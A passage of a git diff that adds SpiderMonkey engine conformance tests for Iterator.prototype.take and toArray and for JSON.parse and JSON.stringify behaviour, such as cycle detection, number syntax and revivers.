diff --git a/js/src/tests/non262/Iterator/prototype/take/length.js b/js/src/tests/non262/Iterator/prototype/take/length.js
new file mode 100644
index 0000000000..4e5efa6cea
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.take length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.take.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.take, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/name.js b/js/src/tests/non262/Iterator/prototype/take/name.js
new file mode 100644
index 0000000000..87f75b63dd
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.take.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.take.name, 'take');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.take, 'name');
+assertEq(propertyDescriptor.value, 'take');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js b/js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js
new file mode 100644
index 0000000000..b9d07b6122
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/take-more-than-available.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.take returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.5.4
+ 2. Repeat,
+ ...
+ c. Let next be ? IteratorStep(iterated, lastValue).
+ d. If next is false, return undefined.
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2].values().take(3);
+for (const expected of [1, 2]) {
+ const result = iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+}
+let result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+class TestIterator extends Iterator {
+ counter = 0;
+ next() {
+ return {done: ++this.counter >= 2, value: undefined};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+iter = new TestIterator();
+let taken = iter.take(10);
+for (const value of taken) {
+ assertEq(value, undefined);
+}
+result = taken.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+assertEq(iter.counter, 2);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/take/take.js b/js/src/tests/non262/Iterator/prototype/take/take.js
new file mode 100644
index 0000000000..d94671c664
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/take/take.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: Smoketest of %Iterator.prototype%.take.
+info: >
+ Iterator Helpers proposal 2.1.5.4
+features: [iterator-helpers]
+---*/
+
+let iter = [1, 2, 3].values().take(2);
+
+for (const v of [1, 2]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+
+assertEq(iter.next().done, true);
+
+// `take`, when called without arguments, has a limit of undefined,
+// which converts to 0.
+assertEq(['test'].values().take().next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js b/js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js
new file mode 100644
index 0000000000..850729e5e3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/create-in-current-realm.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+let array = [1, 2, 3].values().toArray();
+assertEq(array instanceof Array, true);
+assertEq(array instanceof otherGlobal.Array, false);
+
+array = otherGlobal.Iterator.prototype.toArray.call([1, 2, 3].values());
+assertEq(array instanceof Array, false);
+assertEq(array instanceof otherGlobal.Array, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/descriptor.js b/js/src/tests/non262/Iterator/prototype/toArray/descriptor.js
new file mode 100644
index 0000000000..8daa56fd4a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.toArray
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'toArray');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js b/js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js
new file mode 100644
index 0000000000..97c14f0d06
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/iterator-empty.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+const array = iter.toArray();
+
+assertEq(Array.isArray(array), true);
+assertEq(array.length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/length.js b/js/src/tests/non262/Iterator/prototype/toArray/length.js
new file mode 100644
index 0000000000..493a225ce7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.toArray.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.toArray, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/name.js b/js/src/tests/non262/Iterator/prototype/toArray/name.js
new file mode 100644
index 0000000000..b382c3a3a6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.toArray.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.toArray, 'name');
+assertEq(propDesc.value, 'toArray');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/next-throws.js b/js/src/tests/non262/Iterator/prototype/toArray/next-throws.js
new file mode 100644
index 0000000000..c93ecdd324
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/next-throws.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+}
+
+const iter = new TestIterator();
+
+assertThrowsInstanceOf(() => iter.toArray(), Error);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/proxy.js b/js/src/tests/non262/Iterator/prototype/toArray/proxy.js
new file mode 100644
index 0000000000..83024eeb8a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.toArray only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+const array = iter.toArray();
+
+assertEq(
+ log.join('\n'),
+ `get: toArray
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js
new file mode 100644
index 0000000000..1442d22557
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/this-not-iterator-throws.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+assertThrowsInstanceOf(Iterator.prototype.toArray.bind(undefined), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.toArray.bind({}), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.toArray.bind({next: 0}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/toArray.js b/js/src/tests/non262/Iterator/prototype/toArray/toArray.js
new file mode 100644
index 0000000000..29c99525fb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/toArray.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [1, 2, 3].values();
+assertEq(Array.isArray(iter), false);
+
+const array = iter.toArray();
+assertEq(Array.isArray(array), true);
+assertEq(array.length, 3);
+
+const expected = [1, 2, 3];
+for (const item of array) {
+ const expect = expected.shift();
+ assertEq(item, expect);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..ca56de8a66
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/toArray/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.toArray(), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/JSON/browser.js b/js/src/tests/non262/JSON/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/JSON/browser.js
diff --git a/js/src/tests/non262/JSON/cyclic-stringify-unrelated.js b/js/src/tests/non262/JSON/cyclic-stringify-unrelated.js
new file mode 100644
index 0000000000..127c2ca600
--- /dev/null
+++ b/js/src/tests/non262/JSON/cyclic-stringify-unrelated.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1197097;
+var summary = "JSON.stringify shouldn't use context-wide cycle detection";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr;
+
+// Nested yet separate JSON.stringify is okay.
+arr = [{}];
+assertEq(JSON.stringify(arr, function(k, v) {
+ assertEq(JSON.stringify(arr), "[{}]");
+ return v;
+}), "[{}]");
+
+// SpiderMonkey censors cycles in array-joining. This mechanism must not
+// interfere with the cycle detection in JSON.stringify.
+arr = [{
+ toString: function() {
+ var s = JSON.stringify(arr);
+ assertEq(s, "[{}]");
+ return s;
+ }
+}];
+assertEq(arr.join(), "[{}]");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/cyclic-stringify.js b/js/src/tests/non262/JSON/cyclic-stringify.js
new file mode 100644
index 0000000000..5eb6273a97
--- /dev/null
+++ b/js/src/tests/non262/JSON/cyclic-stringify.js
@@ -0,0 +1,100 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 578273;
+var summary =
+ "ES5: Properly detect cycles in JSON.stringify (throw TypeError, check for " +
+ "cycles rather than imprecisely rely on recursion limits)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// objects
+
+var count = 0;
+var desc =
+ {
+ get: function() { count++; return obj; },
+ enumerable: true,
+ configurable: true
+ };
+var obj = Object.defineProperty({ p1: 0 }, "p2", desc);
+
+try
+{
+ var str = JSON.stringify(obj);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 1,
+ "cyclic data structures not detected immediately");
+}
+
+count = 0;
+var obj2 = Object.defineProperty({}, "obj", desc);
+try
+{
+ var str = JSON.stringify(obj2);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 2,
+ "cyclic data structures not detected immediately");
+}
+
+
+// arrays
+
+var count = 0;
+var desc =
+ {
+ get: function() { count++; return arr; },
+ enumerable: true,
+ configurable: true
+ };
+var arr = Object.defineProperty([], "0", desc);
+
+try
+{
+ var str = JSON.stringify(arr);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 1,
+ "cyclic data structures not detected immediately");
+}
+
+count = 0;
+var arr2 = Object.defineProperty([], "0", desc);
+try
+{
+ var str = JSON.stringify(arr2);
+ assertEq(false, true, "should have thrown, got " + str);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "wrong error type: " + e.constructor.name);
+ assertEq(count, 2,
+ "cyclic data structures not detected immediately");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/immutable-reviver.js b/js/src/tests/non262/JSON/immutable-reviver.js
new file mode 100644
index 0000000000..b9f4abc31c
--- /dev/null
+++ b/js/src/tests/non262/JSON/immutable-reviver.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+const values = [];
+
+const result = JSON.parseImmutable('{"x":1,"a":[1,2,{},[]]}', function (k, v) {
+ values.push(#[k, v]);
+ return v;
+});
+
+assertEq(result, #{x: 1, a: #[1, 2, #{}, #[]]});
+
+const next = () => values.shift();
+assertEq(next(), #["x", 1]);
+assertEq(next(), #["0", 1]);
+assertEq(next(), #["1", 2]);
+assertEq(next(), #["2", #{}]);
+assertEq(next(), #["3", #[]]);
+assertEq(next(), #["a", #[1, 2, #{}, #[]]]);
+assertEq(next(), #["", result]);
+assertEq(values.length, 0);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/JSON/immutable.js b/js/src/tests/non262/JSON/immutable.js
new file mode 100644
index 0000000000..e84dc3612a
--- /dev/null
+++ b/js/src/tests/non262/JSON/immutable.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+assertEq(
+ JSON.parseImmutable('{"x":1,"a":[1,2,{},[]]}'),
+ #{ x: 1, a: #[1, 2, #{}, #[]] }
+);
+
+assertEq(
+ JSON.parseImmutable('{"a":1,"a":2}'),
+ #{ a: 2 }
+);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/JSON/parse-arguments.js b/js/src/tests/non262/JSON/parse-arguments.js
new file mode 100644
index 0000000000..d7ed6d73bd
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-arguments.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653847;
+var summary = "JSON.parse handling of omitted arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var r = JSON.parse();
+ throw new Error("didn't throw, returned " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "expected syntax error, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-array-gc.js b/js/src/tests/non262/JSON/parse-array-gc.js
new file mode 100644
index 0000000000..f617ea66dc
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-array-gc.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "parse-array-gc.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 852563;
+var summary =
+ "IdValuePair::value should be initialized to avoid GC sequence-point issues";
+
+print(BUGNUMBER + ": " + summary);
+
+print("Note: You must run this test under valgrind to be certain it passes");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x;
+
+if (typeof gczeal === "function")
+ gczeal(2, 1);
+x = JSON.parse('{"foo":[]}');
+Object.getPrototypeOf(x.foo) == Array.prototype;
+x = JSON.parse('{"foo":[], "bar":[]}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+if (typeof gczeal === "function")
+ gczeal(0);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-crockford-01.js b/js/src/tests/non262/JSON/parse-crockford-01.js
new file mode 100644
index 0000000000..5be9e90edb
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-crockford-01.js
@@ -0,0 +1,121 @@
+var str =
+ '[\n' +
+ ' "JSON Test Pattern pass1",\n' +
+ ' {"object with 1 member":["array with 1 element"]},\n' +
+ ' {},\n' +
+ ' [],\n' +
+ ' -42,\n' +
+ ' true,\n' +
+ ' false,\n' +
+ ' null,\n' +
+ ' {\n' +
+ ' "integer": 1234567890,\n' +
+ ' "real": -9876.543210,\n' +
+ ' "e": 0.123456789e-12,\n' +
+ ' "E": 1.234567890E+34,\n' +
+ ' "": 23456789012E66,\n' +
+ ' "zero": 0,\n' +
+ ' "one": 1,\n' +
+ ' "space": " ",\n' +
+ ' "quote": "\\"",\n' +
+ ' "backslash": "\\\\",\n' +
+ ' "controls": "\\b\\f\\n\\r\\t",\n' +
+ ' "slash": "/ & \\/",\n' +
+ ' "alpha": "abcdefghijklmnopqrstuvwyz",\n' +
+ ' "ALPHA": "ABCDEFGHIJKLMNOPQRSTUVWYZ",\n' +
+ ' "digit": "0123456789",\n' +
+ ' "0123456789": "digit",\n' +
+ ' "special": "`1~!@#$%^&*()_+-={\':[,]}|;.</>?",\n' +
+ ' "hex": "\\u0123\\u4567\\u89AB\\uCDEF\\uabcd\\uef4A",\n' +
+ ' "true": true,\n' +
+ ' "false": false,\n' +
+ ' "null": null,\n' +
+ ' "array":[ ],\n' +
+ ' "object":{ },\n' +
+ ' "address": "50 St. James Street",\n' +
+ ' "url": "http://www.JSON.org/",\n' +
+ ' "comment": "// /* <!-- --",\n' +
+ ' "# -- --> */": " ",\n' +
+ ' " s p a c e d " :[1,2 , 3\n' +
+ '\n' +
+ ',\n' +
+ '\n' +
+ '4 , 5 , 6 ,7 ],"compact":[1,2,3,4,5,6,7],\n' +
+ ' "jsontext": "{\\"object with 1 member\\":[\\"array with 1 element\\"]}",\n' +
+ ' "quotes": "&#34; \\u0022 %22 0x22 034 &#x22;",\n' +
+ ' "\\/\\\\\\"\\uCAFE\\uBABE\\uAB98\\uFCDE\\ubcda\\uef4A\\b\\f\\n\\r\\t`1~!@#$%^&*()_+-=[]{}|;:\',./<>?"\n' +
+ ': "A key can be any string"\n' +
+ ' },\n' +
+ ' 0.5 ,98.6\n' +
+ ',\n' +
+ '99.44\n' +
+ ',\n' +
+ '\n' +
+ '1066,\n' +
+ '1e1,\n' +
+ '0.1e1,\n' +
+ '1e-1,\n' +
+ '1e00,2e+00,2e-00\n' +
+ ',"rosebud"]\n';
+
+var x = JSON.parse(str);
+
+assertEq(x[0], "JSON Test Pattern pass1");
+assertEq(x[1]["object with 1 member"][0], "array with 1 element");
+assertEq(x[2].constructor, Object);
+assertEq(x[3].constructor, Array);
+assertEq(x[4], -42);
+assertEq(x[5], true);
+assertEq(x[6], false);
+assertEq(x[7], null);
+assertEq(x[8].constructor, Object);
+assertEq(x[8]["integer"], 1234567890);
+assertEq(x[8]["real"], -9876.543210);
+assertEq(x[8]["e"], 0.123456789e-12);
+assertEq(x[8]["E"], 1.234567890E+34);
+assertEq(x[8][""], 23456789012E66);
+assertEq(x[8]["zero"], 0);
+assertEq(x[8]["one"], 1);
+assertEq(x[8]["space"], " ");
+assertEq(x[8]["quote"], "\"");
+assertEq(x[8]["backslash"], "\\");
+assertEq(x[8]["controls"], "\b\f\n\r\t");
+assertEq(x[8]["slash"], "/ & /");
+assertEq(x[8]["alpha"], "abcdefghijklmnopqrstuvwyz");
+assertEq(x[8]["ALPHA"], "ABCDEFGHIJKLMNOPQRSTUVWYZ");
+assertEq(x[8]["digit"], "0123456789");
+assertEq(x[8]["0123456789"], "digit");
+assertEq(x[8]["special"], "`1~!@#$%^&*()_+-={':[,]}|;.</>?");
+assertEq(x[8]["hex"], "\u0123\u4567\u89AB\uCDEF\uabcd\uef4A");
+assertEq(x[8]["true"], true);
+assertEq(x[8]["false"], false);
+assertEq(x[8]["null"], null);
+assertEq(x[8]["array"].length, 0);
+assertEq(x[8]["object"].constructor, Object);
+assertEq(x[8]["address"], "50 St. James Street");
+assertEq(x[8]["url"], "http://www.JSON.org/");
+assertEq(x[8]["comment"], "// /* <!-- --");
+assertEq(x[8]["# -- --> */"], " ");
+assertEq(x[8][" s p a c e d "].length, 7);
+assertEq(x[8]["compact"].length, 7);
+assertEq(x[8]["jsontext"], "{\"object with 1 member\":[\"array with 1 element\"]}");
+assertEq(x[8]["quotes"], "&#34; \u0022 %22 0x22 034 &#x22;");
+assertEq(x[8]["\/\\\"\uCAFE\uBABE\uAB98\uFCDE\ubcda\uef4A\b\f\n\r\t`1~!@#$%^&*()_+-=[]{}|;:',./<>?"], "A key can be any string");
+assertEq(x[9], 0.5);
+assertEq(x[10], 98.6);
+assertEq(x[11], 99.44);
+assertEq(x[12], 1066);
+assertEq(x[13], 1e1);
+assertEq(x[14], 0.1e1);
+assertEq(x[15], 1e-1);
+assertEq(x[16], 1e00);
+assertEq(x[17], 2e+00);
+assertEq(x[18], 2e-00);
+assertEq(x[19], "rosebud");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-mega-huge-array.js b/js/src/tests/non262/JSON/parse-mega-huge-array.js
new file mode 100644
index 0000000000..8f1c192c1e
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-mega-huge-array.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-mega-huge-array.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 667527;
+var summary = "JSON.parse should parse arrays of essentially unlimited size";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var body = "0,";
+for (var i = 0; i < 21; i++)
+ body = body + body;
+var str = '[' + body + '0]';
+
+var arr = JSON.parse(str);
+assertEq(arr.length, Math.pow(2, 21) + 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-number-syntax.js b/js/src/tests/non262/JSON/parse-number-syntax.js
new file mode 100644
index 0000000000..42dbbe0b45
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-number-syntax.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+testJSON('-', true);
+testJSON('+', true);
+testJSON('-f', true);
+testJSON('+f', true);
+testJSON('00', true);
+testJSON('01', true);
+testJSON('1.', true);
+testJSON('1.0e', true);
+testJSON('1.0e+', true);
+testJSON('1.0e-', true);
+testJSON('1.0e+z', true);
+testJSON('1.0e-z', true);
+testJSON('1.0ee', true);
+testJSON('1.e1', true);
+testJSON('1.e+1', true);
+testJSON('1.e-1', true);
+testJSON('.', true);
+testJSON('.1', true);
+testJSON('.1e', true);
+testJSON('.1e1', true);
+testJSON('.1e+1', true);
+testJSON('.1e-1', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-octal-syntax-error.js b/js/src/tests/non262/JSON/parse-octal-syntax-error.js
new file mode 100644
index 0000000000..f7b0a13a6f
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-octal-syntax-error.js
@@ -0,0 +1,8 @@
+testJSON('{"Numbers cannot have leading zeroes": 013}', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-primitives.js b/js/src/tests/non262/JSON/parse-primitives.js
new file mode 100644
index 0000000000..450e1a6577
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-primitives.js
@@ -0,0 +1,62 @@
+var x;
+
+// check an empty object, just for sanity
+var emptyObject = "{}";
+x = JSON.parse(emptyObject);
+assertEq(typeof x, "object");
+assertEq(x instanceof Object, true);
+
+x = JSON.parse(emptyObject);
+assertEq(typeof x, "object");
+
+// booleans and null
+x = JSON.parse("true");
+assertEq(x, true);
+
+x = JSON.parse("true ");
+assertEq(x, true);
+
+x = JSON.parse("false");
+assertEq(x, false);
+
+x = JSON.parse(" null ");
+assertEq(x, null);
+
+// numbers
+x = JSON.parse("1234567890");
+assertEq(x, 1234567890);
+
+x = JSON.parse("-9876.543210");
+assertEq(x, -9876.543210);
+
+x = JSON.parse("0.123456789e-12");
+assertEq(x, 0.123456789e-12);
+
+x = JSON.parse("1.234567890E+34");
+assertEq(x, 1.234567890E+34);
+
+x = JSON.parse(" 23456789012E66 \r\r\r\r \n\n\n\n ");
+assertEq(x, 23456789012E66);
+
+// strings
+x = JSON.parse('"foo"');
+assertEq(x, "foo");
+
+x = JSON.parse('"\\r\\n"');
+assertEq(x, "\r\n");
+
+x = JSON.parse(' "\\uabcd\uef4A"');
+assertEq(x, "\uabcd\uef4A");
+
+x = JSON.parse('"\\uabcd" ');
+assertEq(x, "\uabcd");
+
+x = JSON.parse('"\\f"');
+assertEq(x, "\f");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-reviver-array-delete.js b/js/src/tests/non262/JSON/parse-reviver-array-delete.js
new file mode 100644
index 0000000000..c343058785
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-reviver-array-delete.js
@@ -0,0 +1,89 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'parse-reviver-array-delete.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 999999;
+var summary = "JSON.parse with a reviver which elides array elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * The reviver deletes all properties from the to-be-returned array. Thus
+ * stringification reveals properties on the prototype chain -- but there are
+ * none, so this result is unsurprising.
+ */
+assertEq(JSON.parse('[1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0]',
+ function revive(k, v)
+ {
+ if (k === "")
+ return v;
+ return undefined;
+ }) + "",
+ ",,,,,,,,,,,,,,,,,,,");
+
+/*
